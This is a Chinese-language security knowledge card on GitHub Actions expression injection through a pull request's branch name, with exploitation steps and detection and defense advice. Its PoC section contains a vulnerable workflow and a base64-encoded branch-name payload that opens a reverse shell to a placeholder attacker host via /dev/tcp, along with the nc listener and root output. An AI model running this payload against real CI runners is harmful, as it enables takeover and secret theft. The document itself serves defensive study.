GitHub Actions 表达式注入:PR 分支名(head.ref)经 github-script 输出进入 run 脚本导致 CI 命令执行
cloud/ci-cd · verified
一句话结论
当工作流把不可信的 GitHub 上下文(如 PR 的 head.ref 分支名)通过 ${{ }} 直接插入 run: 脚本时,GitHub 只是在 shell 解析前做文本替换,分支名里的 "、;、{、| 会闭合字符串并注入命令;攻击者创建一个分支名为 ";{echo,<base64>}|{base64,-d}|{bash,-i};echo" 的 PR,再评论触发 issue_comment 工作流,就能在自托管 runner 上执行 Base64 编码的反向 shell(文中获得 root shell)。
原理
${{ }}是文本替换而非转义:GitHub Actions 在运行时把表达式求值结果原样拼进脚本/YAML,之后才交给 shell。若结果进入run:的双引号字符串,分支名中的双引号可以闭合字符串,分号/管道即可追加任意命令。- 分支名是攻击者可控的上下文:PR 的
head.ref(源分支名)由攻击者创建分支时决定,Git 允许"、;、{、}、|等字符(GitHub 只提示可能存在隐藏字符,并未阻止)。actions/github-script把pr.data.head.ref作为 step output 返回,下一步run: branch="${{ steps.ref.outputs.result }}"就把它拼进 shell。 - 触发链路:工作流
on: issue_comment且runs-on: self-hosted;攻击者提交 PR(分支名带 payload),在 PR 下评论即可触发;github-script用context.issue.number取 PR 号并读取head.ref。 - payload 结构:
";{echo,<base64>}|{base64,-d}|{bash,-i};echo"用 brace expansion 把echo与 Base64 串拼成命令,base64 -d解出sh -i >& /dev/tcp/<ip>/<port> 0>&1,再由bash -i执行;Base64 让 payload 在分支名/日志中不出现明文sh、/dev/tcp,也避开部分关键字检查。 - 为什么危害大:工作流跑在自托管 runner 上,runner 常带云凭据、部署密钥、
GITHUB_TOKEN、甚至以 root 运行;一次注入即可拿到 CI 环境的全部秘密与网络位置。 - 同类上下文:
github.event.issue.title、github.event.pull_request.title/body、github.event.comment.body、github.head_ref等一切可由外部用户写入的字段,只要进入run:/script:就有同样风险。
触发条件
- 工作流使用
issue_comment、pull_request、pull_request_target等外部可触发事件。 - 工作流把不可信上下文直接写进
run:或actions/github-script的script:(未经过env:中转与引号保护)。 - 攻击者能创建 PR/分支并发表评论(公开仓库或组织内权限)。
- runner 能出网(反向 shell)或至少能执行命令。
利用步骤
- 侦察目标仓库的
.github/workflows/*.yml:找on: issue_comment/pull_request、runs-on: self-hosted,以及${{ ... }}直接出现在run:中的步骤。 - 构造分支名 payload(示例):
";{echo,<base64(reverse shell)>}|{base64,-d}|{bash,-i};echo";Base64 内容为sh -i >& /dev/tcp/<attacker_ip>/<port> 0>&1。 - 从该分支向目标仓库提交 PR(分支名即 payload)。
- 在 PR 下发表任意评论(如
trigger vuln),触发issue_comment工作流。 - 工作流执行
git checkout $branch时,shell 先执行注入的命令,反向 shell 回连攻击者;文中nc收到连接并执行id得到uid=0(root)。 - 在 runner 上收集环境变量、凭据、token,继续横向(参见 [[cloud-cicd-github-app-private-key-runner-registration-token]])。
PoC
# 脆弱写法(示意,对应文中工作流)
on:
issue_comment:
jobs:
check-pr:
runs-on: self-hosted
steps:
- id: ref
uses: actions/github-script@v4
with:
result-encoding: string
script: |
const pr = await github.pulls.get({ owner, repo, pull_number: context.issue.number });
return pr.data.head.ref; # 攻击者可控的分支名
- run: |
branch="${{ steps.ref.outputs.result }}"
git checkout $branch
# 攻击者分支名(示意)
";{echo,c2ggLWkgPiYgL2Rldi90Y3AveC54LngueC84MCAwPiYxCg==}|{base64,-d}|{bash,-i};echo"
# Base64 解码结果
sh -i >& /dev/tcp/x.x.x.x/80 0>&1
# 回连
$ rlwrap nc -lvp 80
# id
uid=0(root) gid=0(root) groups=0(root)
变体与关联
- 变体:注入点换成
github.event.issue.title、pull_request.title/body、comment.body、github.head_ref;actions/github-script的script:里直接拼字符串同样可注入。 - 变体:不弹 shell,改为把
GITHUB_TOKEN/secrets 写到日志或外部地址;或用curl拉取二阶段脚本。 - [[cloud-cicd-github-actions-pull-request-target-checkout-rce]]:
pull_request_target检出外部 PR 代码并用攻击者 Dockerfile 构建的另一类 Actions 供应链风险,与本卡的「上下文表达式注入」不同。 - [[cloud-cicd-actions-log-base32-secret-exfiltration-no-c2]]:拿到 runner 后的日志外带信道。
- 边界:工作流使用
env:中转并加引号("$BRANCH")、对上下文做白名单校验、或事件不对外部用户开放时注入不成立。
检测与防御
- 防御:永远不要把
${{ }}直接嵌入run:/script:;改为env: BRANCH: ${{ github.head_ref }}后使用带引号的"$BRANCH",并对分支名做白名单(如[A-Za-z0-9._/-]+)。 - 防御:限制
issue_comment/pull_request_target工作流的权限与 secrets 暴露;工作流默认permissions: read-all,只在必要 job 提权;自托管 runner 不放长期凭据。 - 检测:审计工作流中
run:行内出现${{;监控分支名含引号/分号/管道/花括号的 PR;监控 runner 上异常bash -i、/dev/tcp、base64 解码与出站连接。 - 响应:删除异常 runner 会话与凭据、轮换 secrets 和
GITHUB_TOKEN、检查 runner 上是否被植入持久化。